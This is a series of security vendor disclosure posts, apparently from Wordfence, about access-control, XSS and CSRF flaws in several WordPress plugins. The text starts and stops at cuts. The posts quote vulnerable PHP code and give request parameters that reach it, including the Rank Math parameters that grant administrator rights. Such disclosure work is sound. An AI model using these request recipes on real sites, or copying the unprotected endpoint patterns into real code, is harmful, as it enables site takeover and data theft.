		if (isset($_GET['orderby']) && !empty($_GET['orderby'])) {
			if (isset($_GET['order']) && !empty($_GET['order'])) {
				$query .= ' ORDER BY '.esc_sql($_GET['orderby']).' '.esc_sql($_GET['order']);
			}
		}
		$content = '';
		$exportTypeQuery = '';
		$rows = array('first name', 'last name', 'email', 'date', 'popup');
		foreach ($rows as $value) {
			$content .= $value;
			if ($value != 'popup') {
				$content .= ',';
			}
		}
		$content .= "\n";
		$subscribers = $wpdb->get_results($query, ARRAY_A);

		$subscribers = apply_filters('sgpbSubscribersCsv', $subscribers);

		foreach($subscribers as $values) {
			foreach ($values as $key => $value) {
				$content .= $value;
				if ($key != 'subscriptionTitle') {
					$content .= ',';
				}
			}
			$content .= "\n";
		}

		$content = apply_filters('sgpbSubscribersContent', $content);

		header('Pragma: public');
		header('Expires: 0');
		header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
		header('Cache-Control: private', false);
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename=subscribersList.csv;');
		header('Content-Transfer-Encoding: binary');
		echo $content;
	}

Furthermore, the ‘action’ parameter could be changed to ‘sgpb_system_info’ and reveal potentially sensitive system configuration information, including all installed plugins and their activation status. This data could be used by an attacker to craft a more sophisticated attack against a target site. If another vulnerable plugin was installed on the site, an attacker could discover this and attempt to escalate their attack by exploiting it.

The vulnerable function code:

	public function getSystemInfoFile()
	{
		$content = AdminHelper::getSystemInfoText();

		header('Pragma: public');
		header('Expires: 0');
		header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
		header('Cache-Control: private', false);
		header('Content-Type: application/octet-stream');
		header('Content-Disposition: attachment; filename=popupBuilderSystemInfo.txt;');
		header('Content-Transfer-Encoding: binary');

		echo $content;
	}

Disclosure Timeline

March 4, 2020 – Wordfence Threat Intelligence discovers and analyzes vulnerabilities in the Popup Builder plugin.
March 5, 2020 – Firewall rule released for Wordfence Premium users. Initial outreach to plugin vendor. Plugin vendor responds within a few hours, and we send over the full vulnerability report.
March 6, 2020 – Plugin vendor sends patched version to us for review. Additional guidance provided to strengthen security.
March 11, 2020 – Fully patched version released.
April 4, 2020 – Firewall rule available to free users.

Conclusion

In today’s post, we detailed several vulnerabilities including unauthenticated stored XSS, settings modification, configuration disclosure, and user data export found in the Popup Builder plugin. These flaws have been patched in version 3.64.1 and we recommend that users update to the latest version available immediately. While we have not detected any malicious activity targeting Popup Builder, the stored XSS vulnerability can have a serious impact on site visitors and potentially even allow site takeover. Sites running Wordfence Premium have been protected from attacks against these vulnerabilities since March 5, 2020. Sites running the free version of Wordfence will receive the same firewall rule update on April 4, 2020.

On March 2nd, our Threat Intelligence team discovered several vulnerable endpoints in Responsive Ready Sites Importer, a WordPress plugin installed on over 40,000 sites. These flaws allowed any authenticated user, regardless of privilege level, the ability to execute various AJAX actions that could reset site data, inject malicious JavaScript in pages, modify theme customizer data, import .xml and .json files, and activate plugins, among many other actions.

We reached out to the plugin’s developer on March 3, 2020, and they were proactive and quick to respond. They released patches consisting of nonce and permissions checks on nearly all of the AJAX endpoints before we sent over the full vulnerability details the following morning. We still provided the full disclosure, and pointed out a few AJAX endpoints missed in their initial release. They released a final patch just a few days later.

This is considered a severe security issue that could lead to attackers completely taking over WordPress sites. We highly recommend updating to the latest version available, 2.2.7, immediately.

Wordfence Premium customers received a new firewall rule on March 2, 2020, to protect against exploits targeting this vulnerability. Free Wordfence users will receive the rule after thirty days, on April 1, 2020.

Gutenberg & Elementor Templates Importer For Responsive, also called Responsive Ready Sites Importer, is a plugin designed to import templates and site content to be used with the Gutenberg or Elementor page builders. The plugin is very simple to use and provides a plethora of templates for site owners to choose from.

The import functionality relies on various AJAX actions, with functionalities ranging from resetting site data prior to an import all the way to importing .xml and .json files to provide data for the import. We discovered 23 vulnerable endpoints, and the majority of these were found in the /class-responsive-ready-sites-importer.php file.

/**
 * Constructor.
 *
 * @since 1.0.0
 */
public function __construct() {

   add_action( 'init', array( $this, 'load_importer' ) );

   $responsive_ready_sites_importers_dir = plugin_dir_path( __FILE__ );
   require_once $responsive_ready_sites_importers_dir . 'class-responsive-ready-sites-importer-log.php';
   include_once $responsive_ready_sites_importers_dir . 'class-responsive-ready-sites-widgets-importer.php';
   include_once $responsive_ready_sites_importers_dir . 'class-responsive-ready-sites-options-importer.php';

   // Import AJAX.
   add_action( 'wp_ajax_responsive-ready-sites-import-set-site-data-free', array( $this, 'import_start' ) );
   add_action( 'wp_ajax_responsive-ready-sites-import-xml', array( $this, 'import_xml_data' ) );
   add_action( 'wp_ajax_responsive-ready-sites-import-wpforms', array( $this, 'import_wpforms' ) );
   add_action( 'wp_ajax_responsive-ready-sites-import-customizer-settings', array( $this, 'import_customizer_settings' ) );
   add_action( 'wp_ajax_responsive-ready-sites-import-widgets', array( $this, 'import_widgets' ) );
   add_action( 'wp_ajax_responsive-ready-sites-import-options', array( $this, 'import_options' ) );
   add_action( 'wp_ajax_responsive-ready-sites-import-end', array( $this, 'import_end' ) );

   add_action( 'responsive_ready_sites_import_complete', array( $this, 'clear_cache' ) );

   include_once $responsive_ready_sites_importers_dir . 'batch-processing/class-responsive-ready-sites-batch-processing.php';

   // Reset Customizer Data.
   add_action( 'wp_ajax_responsive-ready-sites-reset-customizer-data', array( $this, 'reset_customizer_data' ) );
   add_action( 'wp_ajax_responsive-ready-sites-reset-site-options', array( $this, 'reset_site_options' ) );
   add_action( 'wp_ajax_responsive-ready-sites-reset-widgets-data', array( $this, 'reset_widgets_data' ) );

   // Reset Post & Terms.
   add_action( 'wp_ajax_responsive-ready-sites-delete-posts', array( $this, 'delete_imported_posts' ) );
   add_action( 'wp_ajax_responsive-ready-sites-delete-wp-forms', array( $this, 'delete_imported_wp_forms' ) );
   add_action( 'wp_ajax_responsive-ready-sites-delete-terms', array( $this, 'delete_imported_terms' ) );

   if ( version_compare( get_bloginfo( 'version' ), '5.0.0', '>=' ) ) {
      add_filter( 'http_request_timeout', array( $this, 'set_timeout_for_images' ), 10, 2 );
   }
}

Using the import_start function tied to the wp_ajax_responsive-ready-sites-import-set-site-data-free action as an example below. It can be shown that there was a lack of capability checks and nonce checks as part of the functions. This was evident in all of the identified functions triggered by the registered AJAX actions that we found vulnerable.

/**
 * Start Site Import
 *
 * @since  1.0.0
 * @return void
 */
public function import_start() {

          $demo_api_uri = isset( $_POST['api_url'] ) ? esc_url( $_POST['api_url'] ) : ''; //phpcs:ignore

   if ( ! empty( $demo_api_uri ) ) {

      $demo_data = self::get_responsive_single_demo( $demo_api_uri );
      if ( ! $demo_data['success'] ) {
         wp_send_json( $demo_data );
      }

      update_option( 'responsive_ready_sites_import_data', $demo_data );

      if ( is_wp_error( $demo_data ) ) {
         wp_send_json_error( $demo_data->get_error_message() );
      } else {
         do_action( 'responsive_ready_sites_import_start', $demo_data, $demo_api_uri );
      }

      wp_send_json_success( $demo_data );

   } else {
      wp_send_json_error( __( 'Request site API URL is empty. Try again!', 'responsive-addons' ) );
   }

}

All of the vulnerable actions could be called with a simple request to /wp-admin/admin-ajax.php?action=[Vulnerable-Action] along with the appropriate parameters set, by any authenticated user, including users with minimal subscriber-level permissions.

Fortunately, in the latest version of this plugin, capability checks to help control access and execution, as well as CSRF protection using WordPress nonces, were implemented on all of these endpoints.

A Deeper Dive on a Few Endpoints

Although there were several unprotected endpoints, a few were a little more worrisome than others.

The AJAX action wp_ajax_responsive-ready-sites-import-xml triggers a function that imports an XML file to be used to supply data as part of the import process. Then, the AJAX action wp_ajax_responsive-wxr-import would trigger the function that imports all the data from the previously imported XML file. Using these two actions together could allow an attacker to import an XML file containing malicious payloads such as new pages on the site. The malicious payloads would then be executed anytime a user browsed to the newly imported page. This could result in malicious site redirects and rogue administrative user creation, among other consequences.

The AJAX actions wp_ajax_responsive-ready-sites-import-options, wp_ajax_responsive-ready-sites-import-widgets, and wp_ajax_responsive-ready-sites-import-customizer-settings triggered functions that would import widgets, site options, and site customizer data. These could be used by an attacker to overwrite site data with malicious data of their choice.

A Brief Note To Site Owners and WordPress Developers

Site owners. Vulnerable AJAX endpoints are, unfortunately, a very common vulnerability among WordPress plugins and themes. We highly recommend disabling user registration on your site if it is not necessary for the site’s functionality. If your site is running a plugin or theme with a vulnerable AJAX endpoint, this will prohibit any attackers from being able to register an account, login, and then execute attacks against these vulnerable endpoints that could potentially compromise your site.

It is also highly recommended to ensure your plugins and themes are up to date at all times as these vulnerabilities are often immediately discovered and patched. In the cases where a patch isn’t released quickly, it is important you have a Web Application Firewall in place, such as the one provided by Wordfence, to help provide protection during the interim period where a vulnerability might be discovered and actively attacked before it has been completely patched.

Developers. It is incredibly important to add capability checks and CSRF protection on functions controlled by AJAX actions in plugins and themes. Subscriber-level users and above have the ability to execute these actions if the proper security measures are not in place. Many WordPress sites allow open registration, creating a large attack surface for these vulnerabilities that are typically very easy to exploit.

Use functions like current_user_can() to check for user capability on actions along with wp_create_nonce() and wp_verify_nonce() to verify the legitimacy of a request’s source to protect against CSRF on all AJAX functions.

To see how common these vulnerabilities are, you can review some of our recently discovered unprotected AJAX actions vulnerabilities in Popup Builder, Import Export WordPress Users, 301 Redirects – Easy Redirect Manager, and RegistrationMagic. As a plugin developer, it is important to take preventive steps against creating these vulnerabilities, just as it is important to protect yourself against these as a site owner.

Disclosure Timeline

March 2, 2020 – Initial discovery and analysis of vulnerability. We release a firewall rule for Wordfence Premium customers.
March 3, 2020 – We make our initial contact attempt with the plugin development team. Developer responds and confirms that we have reached them through the appropriate inbox.
March 4, 2020 – We send over the full disclosure details. Developer responds and indicates all vulnerabilities have been fixed.
March 4-5, 2020 – We further analyze the fixes and discover a few AJAX actions left unprotected. We notify the developer.
March 11, 2020 – Developer releases final sufficient patch.
April 1, 2020 – Free Wordfence users receive firewall rule.

Conclusion

In today’s post, we detailed several flaws related to unprotected AJAX actions in the Responsive Ready Sites Importer plugin. These flaws have been fully patched in version 2.2.6. We recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against this vulnerability since March 2, 2020. Sites running the free version of Wordfence will receive the firewall rule update on April 1, 2020.

A few weeks ago, we disclosed several flaws that were patched in the Pricing Table by Supsystic plugin. On January 20th, our Threat Intelligence team discovered several similar vulnerabilities present in another product from Supsystic: Data Tables Generator by Supsystic, a WordPress plugin installed on over 30,000 sites. These flaws were very similar and allowed an attacker to execute several AJAX actions, inject malicious Javascript, and forge requests on behalf of an authenticated site user. However, in the Data Tables Generator plugin, these flaws required an attacker to be logged in as a user with subscriber or above permissions on a target site.

We privately disclosed these issues to the plugin’s author at the same time we fully disclosed the flaws discovered in Pricing Table by Supsystic; again, they released patches a little over a month later. We recommend updating to the latest version, 1.9.92, immediately.

Wordfence Premium users received a new firewall rule on January 21, 2020 to protect against exploits targeting these vulnerabilities. Free Wordfence users received this rule on February 20, 2020.

Data Tables Generator by Supsystic is an easy to use responsive table, chart, and data management plugin. It has several features such as custom css, the ability to add iframes, different fonts and label capabilities, and more. Unfortunately, we discovered that all of the AJAX actions to provide these features lacked capability checks and WordPress nonces for CSRF (Cross-Site Request Forgery) protection.

</pre>
<pre> /**
  * Validate and creates the new table.
  * @param Rsc_Http_Request $request
  * @return Rsc_Http_Response
  */
 public function createAction(Rsc_Http_Request $request)
 {
     $title = trim($request->post->get('title'));
     $rowsCount = (int) $request->post->get('rows');
     $colsCount = (int) $request->post->get('cols');

     try {
if (!$this->isValidTitle($title)) {
             return $this->ajaxError($this->translate('Title can\'t be empty or more than 255 characters'));
         }
$this->getEnvironment()->getModule('tables')->setIniLimits();
// Add base settings
         $tableId = $this->getModel('tables')->add(array('title' => $title, 'settings' => serialize(array())));

if($tableId) {
   $rows = array();

   for($i = 0; $i < $rowsCount; $i++) {
      array_push($rows, array('cells' => array()));
      for($j = 0; $j < $colsCount; $j++) {
         array_push($rows[$i]['cells'], array(
            'data' => '',
            'calculatedValue' => '',
                         'hidden' => '',
                      'type' => 'text',
                      'formatType' => '',
            'meta' => array()
         ));
      }
   }
   // Save an empty table's rows to prevent error when the Data Tables script will be executed
   $this->getModel('tables')->setRows($tableId, $rows);
}
     } catch (Exception $e) {
         return $this->ajaxError($e->getMessage());
     }

     return $this->ajaxSuccess(array('url' => $this->generateUrl('tables', 'view', array('id' => $tableId))));
 }</pre>
<pre>

**One example of a function triggered by the AJAX action create. No nonce or permission checks present.

WordPress AJAX actions can be processed by any authenticated user. As such, AJAX actions should always require an additional capability check in order to verify that the user sending the request is an authenticated administrative user when the action is meant for only administrative users. Without the required permission check, any user logged in as subscriber or above could execute the actions and make malicious changes to any given data table, or create a new data table. With many sites allowing open subscriber registrations, protecting site functionality with capability checks is critical when utilizing AJAX actions.

The vulnerable endpoints we discovered were: getListForTbl, updateRows, updateMeta, saveSettings, remove, create, render, getSettings, getMeta, getCountRows, getRows, clone, and rename. The most impactful endpoints were rename, where an attacker could rename any given data table name, getListForTbl, where an attacker could discover all of the existing tables and use that information to craft a request, saveSettings, where an attacker could modify any data table settings maliciously, and create, where an attacker could create a new data table with any options set.

As an extension of the previous vulnerability, we discovered that malicious Javascript could be injected into many data table fields, including the title, the data table cells, the description and caption, and more, by using the saveSettings endpoint to update an existing data table.

The malicious Javascript would then execute in a site visitor’s browser whenever they accessed a page containing the data table. This could ultimately lead to malicious site redirection, new administrative user account creation, and other malicious actions.

As previously mentioned with the Pricing Table by Supsystic plugin, WordPress allows default administrators the capability to use unfiltered_html. Alone, these settings would not be considered a security risk if only administrative users had access to modify these settings. However, providing the unfiltered_html capability with these AJAX actions that allowed even subscriber-level users to modify these settings introduced a cross site scripting (XSS) vulnerability.

The lack of WordPress nonces for CSRF protection on all actions registered in this plugin also resulted in several Cross-Site Request Forgery (CSRF) vulnerabilities. Given that the registered actions could be executed by any logged-in user regardless of privilege level, CSRF exploit attempts could be targeted towards any user, even those with just a subscriber role.

If an attacker was able to trick any authenticated user into clicking on a link or opening a malicious attachment, a forged request could be sent on behalf of that user to modify any given data table and inject malicious Javascript. Again, the malicious Javascript could inject a new administrative user, redirect site visitors to a malicious site, and more.

It is important to remember not to click on links in comments or emails unless you can verify the authenticity of the source and the destination to protect against a CSRF exploit attempt. It is difficult for firewalls to protect against CSRF attacks because the malicious request appears to come from a valid, authenticated user.

Disclosure Timeline

January 20, 2020 – Vulnerability initially discovered and analyzed. We begin working on firewall rules.
January 21, 2020 – Firewall rule released for Wordfence premium users. Awaiting response from the Supsystic’s plugin team in regards to vulnerabilities in Pricing Table by Supsystic.
January 21, 2020 – Plugin team confirms appropriate inbox for handling discussion. Full disclosure of vulnerabilities is sent.
January 30, 2020 – Follow-up with plugin team as no response from disclosure.
February 11, 2020 – Plugin developer acknowledges report.
February 20, 2020 – Wordfence free users receive firewall rule.
February 21, 2020 – Additional and final follow-up. Insufficient patch released.
February 21 to March 23, 2020 – Back and forth with the plugin team to ensure an optimal solution released.
March 23, 2020 – Final patch released.

Conclusion

In today’s post, we detailed several vulnerabilities including stored XSS, CSRF, and insecure permissions found in the Data Tables by Supsystic plugin. These flaws have been fully patched in version, 1.9.92, and we recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against this vulnerability since January 21, 2020. Sites running the free version of Wordfence received the firewall rule update on February 20, 2020.

On February 28, 2020, the Wordfence Threat Intelligence team became aware of a newly patched stored Cross-Site Scripting (XSS) vulnerability in IMPress for IDX Broker, a WordPress plugin with over 10,000 installations. Although all Wordfence users, including those still using the free version of Wordfence, were already protected from this vulnerability by the Web Application Firewall’s built-in XSS protection, we investigated the plugin further and discovered an additional stored XSS vulnerability. We also found a flaw that would allow an authenticated attacker with minimal, subscriber-level permissions to permanently delete any page or post on the site, in addition to creating pages with arbitrary titles.

We initially reached out to the plugin’s vendor the same day, on February 28, 2020, but received no response over an extended period of time. On March 19, 2020, after notifying the WordPress plugin team, we received a response from the plugin’s developer, at which time we sent the full disclosure details. A fully patched version was released on March 23, 2020, and we recommend updating to the latest version, 2.6.2, immediately.

Wordfence Premium users received a new firewall rule on March 2nd to protect against exploits targeting these vulnerabilities. Free Wordfence users will receive this rule on April 1, 2020.

The IMPress for IDX Broker plugin contains a captcha feature to prevent spam submissions. Since it uses Google’s ReCAPTCHA service, it requires an API key. Unfortunately, the AJAX action the plugin registered to update this API key did not use capability checks or nonce checks.

This made it  possible for a logged-in attacker with minimal permissions, such as a subscriber, to send a request to wp-admin/admin-ajax.php with the action parameter set to idx_update_recaptcha_key and the idx_recaptcha_site_key parameter set to a malicious JavaScript, which could then be executed in an administrator’s browser the next time they visited the plugin’s settings panel.

As with most attacks taking advantage of stored XSS in admin areas, this could be used to make use of the administrator’s session in order to create a new, malicious administrative user.

The AJAX action:

add_action( 'wp_ajax_idx_update_recaptcha_key', array( $this, 'idx_update_recaptcha_key' ) );

The vulnerable function:

	public function idx_update_recaptcha_key() {
		if ( $_POST['idx_recaptcha_site_key'] ) {
			update_option( 'idx_recaptcha_site_key', $_POST['idx_recaptcha_site_key'], false );
			echo 1;
		} else {
			delete_option( 'idx_recaptcha_site_key' );
			echo 'error';
		}
		die();
	}

One of the features included with the IDX Broker plugin is the ability to create and delete “dynamic pages,” intended to ensure that any IDX pages match the site’s style and branding.

The plugin registers 2 AJAX actions that are used to do this:

add_action( 'wp_ajax_create_dynamic_page', array( $this, 'idx_ajax_create_dynamic_page' ) );

add_action( 'wp_ajax_delete_dynamic_page', array( $this, 'idx_ajax_delete_dynamic_page' ) );

Once again, neither of the functions called by these AJAX actions used capability checks or nonce checks. As such it was possible for an authenticated attacker with minimal, subscriber-level, permissions to send a request to wp-admin/admin-ajax.php with the action parameter set to create_dynamic_page and the post_title parameter set to any arbitrary value. In return, a new dynamic page with that title would be created.

If a wrapper_page_id parameter was included and set to the ID of an existing post or page, that post or page would be replaced with a blank wrapper page:

	public function idx_ajax_create_dynamic_page() {

		// default page content
		$post_content = $this->does_theme_include_idx_tag();

		$post_title = $_POST['post_title'] ? $_POST['post_title'] : 'Properties';
		$new_post   = array(
			'post_title'   => $post_title,
			'post_name'    => $post_title,
			'post_content' => $post_content,
			'post_type'    => 'idx-wrapper',
			'post_status'  => 'publish',
		);
		if ( $_POST['wrapper_page_id'] ) {
			$new_post['ID'] = $_POST['wrapper_page_id'];
		}
		$wrapper_page_id = wp_insert_post( $new_post );
		update_option( 'idx_broker_dynamic_wrapper_page_name', $post_title, false );
		update_option( 'idx_broker_dynamic_wrapper_page_id', $wrapper_page_id, false );
		$wrapper_page_url = get_permalink( $wrapper_page_id );
		$this->idx_api->set_wrapper( 'global', $wrapper_page_url );
		update_post_meta( $wrapper_page_id, 'idx-wrapper-page', 'global' );

		die(
			json_encode(
				array(
					'wrapper_page_id'   => $wrapper_page_id,
					'wrapper_page_name' => $post_title,
				)
			)
		);
	}

Alternatively, if the attacker set the action parameter to delete_dynamic_page and sent a wrapper_page_id parameter with the ID of an existing post or page, then that post or page would be permanently deleted:

	public function idx_ajax_delete_dynamic_page() {
		if ( $_POST['wrapper_page_id'] ) {
			wp_delete_post( $_POST['wrapper_page_id'], true );
			wp_trash_post( $_POST['wrapper_page_id'] );
		}
		die();
	}

Disclosure Timeline

February 28, 2020 – Our Threat Intelligence team discovers and analyzes vulnerabilities in the IMPress for IDX Broker plugin while reviewing a recently patched vulnerability. We attempt to make contact with the plugin vendor.
March 2, 2020 – Firewall rule released for Wordfence Premium users.
March 19, 2020 – After followup with WordPress.org plugin team, plugin vendor confirms appropriate mailbox, and we provide them with full disclosure.
March 23, 2020 – Fully patched version becomes available.
April 1, 2020 – Firewall rule becomes available to Wordfence free users.

Conclusion

In today’s post, we detailed several vulnerabilities including stored XSS and Post creation, modification, and deletion found in the IMPress for IDX Broker plugin. These flaws have been patched in version 2.6.2, and we recommend that users update to the latest version available immediately. Sites running Wordfence Premium have been protected from attacks against this vulnerability since March 2, 2020. Sites running the free version of Wordfence received the firewall rule update on April 1, 2020.

On March 23, 2020, our Threat Intelligence team discovered 2 vulnerabilities in WordPress SEO Plugin – Rank Math, a WordPress plugin with over 200,000 installations. The most critical vulnerability allowed an unauthenticated attacker to update arbitrary metadata, which included the ability to grant or revoke administrative privileges for any registered user on the site. The second vulnerability allowed an unauthenticated attacker to create redirects from almost any location on the site to any destination of their choice.

We reached out to the plugin’s developer the next day, on March 24, 2020, and received a response within 24 hours. We privately disclosed the full vulnerability details on March 25, 2020, and the plugin developer released a patch on March 26, 2020. We strongly recommend updating to the latest version, 1.0.41.1, as soon as possible as this is considered a critical security issue.

Wordfence Premium customers received a new firewall rule on March 24, 2020, to protect against exploits targeting this vulnerability. Wordfence users still using the free version will receive the rule after thirty days on April 23, 2020.

WordPress SEO Plugin – Rank Math is a WordPress plugin designed to assist with search engine optimization, and it has a number of features to make doing so easier, including the ability to update metadata on posts. In order to add this feature, the plugin registered a REST-API endpoint, rankmath/v1/updateMeta, which failed to include a permission_callback used for capability checking.

The vulnerable REST route:

		register_rest_route(
			$this->namespace,
			'/updateMeta',
			[
				'methods'  => WP_REST_Server::CREATABLE,
				'callback' => [ $this, 'update_metadata' ],
				'args'     => $this->get_update_metadata_args(),
			]
		);

The endpoint called a function, update_metadata which could be used to update the slug on existing posts, or could be used to delete or update metadata for posts, comments, and terms. This endpoint also allowed for updating metadata for users, leading to this critical vulnerability.

The update_metadata function:

	public function update_metadata( WP_REST_Request $request ) {
		$object_id   = $request->get_param( 'objectID' );
		$object_type = $request->get_param( 'objectType' );
		$meta        = $request->get_param( 'meta' );

		$new_slug = true;
		if ( isset( $meta['permalink'] ) && ! empty( $meta['permalink'] ) ) {
			$post     = get_post( $object_id );
			$new_slug = wp_unique_post_slug( $meta['permalink'], $post->ID, $post->post_status, $post->post_type, $post->post_parent );
			wp_update_post(
				[
					'ID'        => $object_id,
					'post_name' => $new_slug,
				]
			);
			unset( $meta['permalink'] );
		}

		$sanitizer = Sanitize::get();
		foreach ( $meta as $meta_key => $meta_value ) {
			if ( empty( $meta_value ) ) {
				delete_metadata( $object_type, $object_id, $meta_key );
				continue;
			}

			update_metadata( $object_type, $object_id, $meta_key, $sanitizer->sanitize( $meta_key, $meta_value ) );
		}

		return $new_slug;
	}

WordPress user permissions are stored in the usermeta table, which meant that an unauthenticated attacker could grant any registered user administrative privileges by sending a $_POST request to wp-json/rankmath/v1/updateMeta, with an objectID parameter set to the User ID to be modified, an objectType parameter set to user, a meta[wp_user_level] parameter set to 10, and a meta[wp_capabilities][administrator] parameter set to 1.

Alternatively, an attacker could completely revoke an existing administrator’s privileges by sending a similar request with a meta[wp_user_level] parameter and a meta[wp_capabilities] parameter set to empty values. Since many sites have a single administrator with a user ID of 1, this meant that an attacker could lock an administrator out of their own site.

Note that these attacks are only the most critical possibilities. Depending on the other plugins installed on a site, the ability to update post, term, and comment metadata could potentially be used for many other exploits such as Cross-Site Scripting (XSS).

The WordPress SEO Plugin – Rank Math plugin includes a number of optional modules, including a module that can be used to create redirects on a site. In order to add this feature, the plugin registered a REST-API endpoint, rankmath/v1/updateRedirection, which again failed to include a permission_callback for capability checking.

The vulnerable REST route:

		register_rest_route(
			$this->namespace,
			'/updateRedirection',
			[
				'methods'  => WP_REST_Server::CREATABLE,
				'callback' => [ $this, 'update_redirection' ],
			]
		);

The endpoint called a function, update_redirection, which could be used to create new redirects or modify existing redirects, with an important limitation. The redirect could not be set to an existing file or folder on the server, including the site’s main page. This limited the damage to some extent in that, while an attacker could create a redirect from most locations on the site, including new locations, or any existing post or page other than the homepage, they could not redirect visitors immediately upon accessing the site.

The update_redirection function:

	public function update_redirection( WP_REST_Request $request ) {
		$cmb     = new \stdClass;
		$metabox = new \RankMath\Redirections\Metabox;

		$cmb->object_id    = $request->get_param( 'objectID' );
		$cmb->data_to_save = [
			'has_redirect'            => $request->get_param( 'hasRedirect' ),
			'redirection_id'          => $request->get_param( 'redirectionID' ),
			'redirection_url_to'      => $request->get_param( 'redirectionUrl' ),
			'redirection_sources'     => \str_replace( home_url( '/' ), '', $request->get_param( 'redirectionSources' ) ),
			'redirection_header_code' => $request->get_param( 'redirectionType' ) ? $request->get_param( 'redirectionType' ) : 301,
		];

		if ( false === $request->get_param( 'hasRedirect' ) ) {
			unset( $cmb->data_to_save['redirection_url_to'] );
		}

		if ( empty( $request->get_param( 'redirectionID' ) ) ) {
			unset( $cmb->data_to_save['redirection_id'] );
		}

		return $metabox->save_advanced_meta( $cmb );
	}

In order to perform this attack, an unauthenticated attacker could send a $_POST request to rankmath/v1/updateRedirection with a redirectionUrl parameter set to the location they wanted the redirect to go to, a redirectionSources parameter set to the location to redirect from, and a hasRedirect parameter set to true. This attack could be used to prevent access to all of a site’s existing content, except for the homepage, by redirecting visitors to a malicious site.

Protecting REST-API Endpoints

The REST-API functionality in WordPress provides great flexibility for plugin developers. Of course, with that flexibility comes great responsibility. If your plugin is using the REST-API, make sure to include a permission_callback on any endpoints you don’t want to be available to the public, though be aware this also requires that a valid wp_rest nonce be generated and sent with any requests to the protected endpoint.

Disclosure Timeline

March 23, 2020 – Wordfence Threat Intelligence discovers and analyzes vulnerabilities.
March 24, 2020– Initial contact with the plugin’s developer team. Firewall rule released for Wordfence Premium users.
March 25, 2020 – Plugin developer confirms appropriate inbox for handling discussion. Full vulnerability disclosure sent.
March 26, 2020 – Patched version of plugin released.
April 23, 2020 – Firewall rule becomes available to Wordfence free users.

Conclusion

In today’s post, we discussed 2 vulnerabilities caused by unprotected REST API endpoints in the WordPress SEO Plugin – Rank Math plugin. These vulnerabilities have been fully patched in version 10.0.41, and we strongly recommend that all users of this plugin upgrade to the latest version available immediately. Sites running Wordfence Premium have been protected against these vulnerabilities since March 24, 2020. Sites running the free version of Wordfence will receive the firewall rule update on April 23, 2020.

Special thanks to the developers of WordPress SEO Plugin – Rank Math for their rapid response and exemplary handling of our disclosure.

On April 1, 2020, the Wordfence Threat Intelligence team discovered a stored Cross Site Scripting (XSS) vulnerability in Contact Form 7 Datepicker, a WordPress plugin installed on over 100,000 sites. As the plugin developer’s github page indicated that the plugin was no longer being maintained, we contacted the WordPress plugins team with our disclosure, and they immediately removed the plugin from the repository for review. We also contacted the plugin’s developer and received a response verifying that they had no plans to maintain it and were satisfied with removing the plugin from the repository.

All Wordfence users, including Wordfence free and Wordfence Premium users, are protected from this vulnerability by the Wordfence Firewall’s built-in XSS protection. Nonetheless, we strongly recommend deactivating and removing this plugin.

The Contact Form 7 Datepicker plugin allows users to add a datepicker to forms generated by Contact Form 7, and it includes the ability to modify settings for these datepickers. In order to process these settings, it registered an AJAX action calling a function that failed to include a capability check or a nonce check. As such, it was possible for a logged-in attacker with minimal permissions, such as a subscriber, to send a crafted request containing malicious JavaScript which would be stored in the plugin’s settings.

The next time an authorized user created or modified a contact form, the stored JavaScript would be executed in their browser, which could be used to steal an administrator’s session or even create malicious administrative users.

What should I do?

Although all sites running the Wordfence Web Application Firewall should be protected against this vulnerability, we strongly recommend deactivating and removing the Contact Form 7 Datepicker plugin if it is installed on your site. If your site is running Wordfence, the scanner should alert you if any of your plugins are vulnerable, or have been removed from the WordPress repository. As the Contact Form 7 Datepicker plugin is no longer being maintained, it will likely not ever be patched, so it may be wise to search for an alternative plugin with similar functionality.

Due to the number of sites affected by this plugin’s closure, we are intentionally providing minimal details about this vulnerability to prevent widespread exploitation. We will continue to monitor the situation and provide more details in a future update.

On March 3, 2020, our Threat intelligence team discovered a number of vulnerabilities in WP Lead Plus X, a WordPress plugin with over 70,000 installations designed to allow site owners to create landing and squeeze pages on their sites. These vulnerabilities allowed an authenticated attacker with minimal permissions, such as a subscriber, to create or completely replace any page on a site with their own page containing malicious JavaScript, defacement, or a redirect. Additionally, an unauthenticated attacker could also upload a malicious page template which, if used by an administrator running the premium version of the plugin, would execute malicious JavaScript in that administrator’s browser, potentially leading to site takeover.

We attempted to contact the plugin’s author the next day, on March 4, 2020, followed up on March 12, 2020, and privately sent the full vulnerability disclosure. The plugin’s author released a preliminary patch containing capability checks on March 15th. We followed up with them the next day as the patched version was still vulnerable to Cross-Site Request Forgery (CSRF), and were informed that a more complete patch would be forthcoming. More than 2 weeks later, and more than a month after our initial contact attempt, the complete patch is not yet available.

If this plugin is critical to your site’s functionality, we highly recommend updating to at least version 0.99 immediately as at least some of these security issues are patched in that version. Ideally, we recommend disabling and deleting this plugin until a more complete patch becomes available.

Wordfence Premium users received a new firewall rule on March 4, 2020 to protect against exploits targeting these vulnerabilities. Users still using the free version of Wordfence will receive this rule on April 3, 2020.

WP Lead Plus X is a WordPress plugin that allows site owners to create custom landing and “squeeze” pages, complete with its own page builder interface capable of inserting custom JavaScript. Unfortunately, this page builder interface also relied on an unprotected AJAX function which lacked a capability check and a nonce check in order to save and update pages:

add_action('wp_ajax_core37_lp_save_page', 'core37_lp_save_page');

function core37_lp_save_page()
{
	$content = array();
	parse_str(file_get_contents("php://input"), $content);

	//pass the form ID to the editor
	echo Page_Manager::save_page($content);
	die();
}

As such, it was possible for a logged-in attacker with minimal permissions (such as a subscriber) to send a $_POST request to wp-admin/admin-ajax.php with the action parameter set to core37_lp_save_page along with the pageContent, pageSlug, pageTitle, and pageSettings parameters describing the page to be created. This included the page title, page slug, page content, and any JavaScript the attacker wanted to execute when the page loaded.

Worse yet, if a pageID parameter was sent with the ID of an existing page or post, that page or post would be completely replaced by the malicious page. This made it possible for an attacker to completely replace every single post or page on a site, including revision backups, with their own malicious content, with no way to revert other than restoring content from a database backup.

In addition to inserting malicious JavaScript, which on its own could be used to redirect visitors to malvertising sites or steal sensitive information, this vulnerability could be used to effectively turn any site running the plugin into a spam site.

One of the features available to users who have paid for a license key for WP Lead Plus X is the ability to create and use “template” pages, which can be imported as a starting point when creating new pages. Although this feature is not visible if the plugin does not have a license key, it was still possible for an unauthenticated user to import a template containing malicious JavaScript. This was due to an admin_post action available to unprivileged visitors:

